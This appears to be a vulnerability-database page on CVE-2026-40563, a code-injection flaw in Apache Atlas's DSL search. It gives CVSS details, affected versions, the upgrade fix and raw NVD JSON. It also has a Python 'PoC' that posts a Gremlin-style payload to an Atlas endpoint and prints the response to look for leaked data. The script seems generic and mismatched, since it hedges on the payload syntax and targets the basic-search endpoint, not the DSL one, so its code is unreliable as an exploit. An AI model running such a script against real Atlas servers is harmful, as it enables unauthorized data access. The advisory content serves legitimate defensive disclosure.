Security Vulnerability Report
中文
CVE-2026-40563 CVSS 8.1 HIGH

CVE-2026-40563

Published: 2026-05-04 16:16:02
Last Modified: 2026-05-06 14:16:20

Description

Description: Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Atlas Apache Atlas exposes a DSL search endpoint that accepts user-supplied query strings. Attacker can alter Gremlin traversal logic within grammar-allowed characters to access unintended data Affect Version: This issue affects Apache Atlas: from 0.8 through 2.4.0. For the affect version >= 2.0, vulnerability is only when Atlas is deployed with below non-default configuration. atlas.dsl.executor.traversal=false Mitigation: Users are recommended to upgrade to version 2.5.0, which fixes the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:atlas:*:*:*:*:*:*:*:* - VULNERABLE
Apache Atlas 0.8 - 2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) # The vulnerability exists in the DSL search endpoint. # This PoC demonstrates sending a malicious query to alter Gremlin traversal. def exploit_cve_2026_40563(target_url): headers = { "Content-Type": "application/json", "Accept": "application/json" } # Malicious payload attempting to access unintended data # by altering the Gremlin traversal logic. # Note: Actual payload syntax depends on the specific grammar allowed. payload = { "query": "1.map{it.get()}" # Example payload to execute logic } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for data leakage.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://localhost:21000/api/atlas/v2/search/basic" exploit_cve_2026_40563(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40563", "sourceIdentifier": "[email protected]", "published": "2026-05-04T16:16:02.283", "lastModified": "2026-05-06T14:16:20.277", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Description:\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Atlas\nApache Atlas exposes a DSL search endpoint that accepts user-supplied query strings. Attacker can alter Gremlin traversal logic within grammar-allowed characters to access unintended data\n\n\n\n\nAffect Version:\nThis issue affects Apache Atlas: from 0.8 through 2.4.0.\n\n\n\nFor the affect version >= 2.0, vulnerability is only when Atlas is deployed with below non-default configuration.\n\n\natlas.dsl.executor.traversal=false\n\n\n\nMitigation:\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:atlas:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.8", "versionEndExcluding": "2.5.0", "matchCriteriaId": "60FA8FF5-6183-4E24-AD44-3D6D2E0FC66C"}]}]}], "references": [{"url": "https://lists.apache.org/thread/vd0oggmqxl2k1skm0z2f9p0plx7jhmfl", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/03/9", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}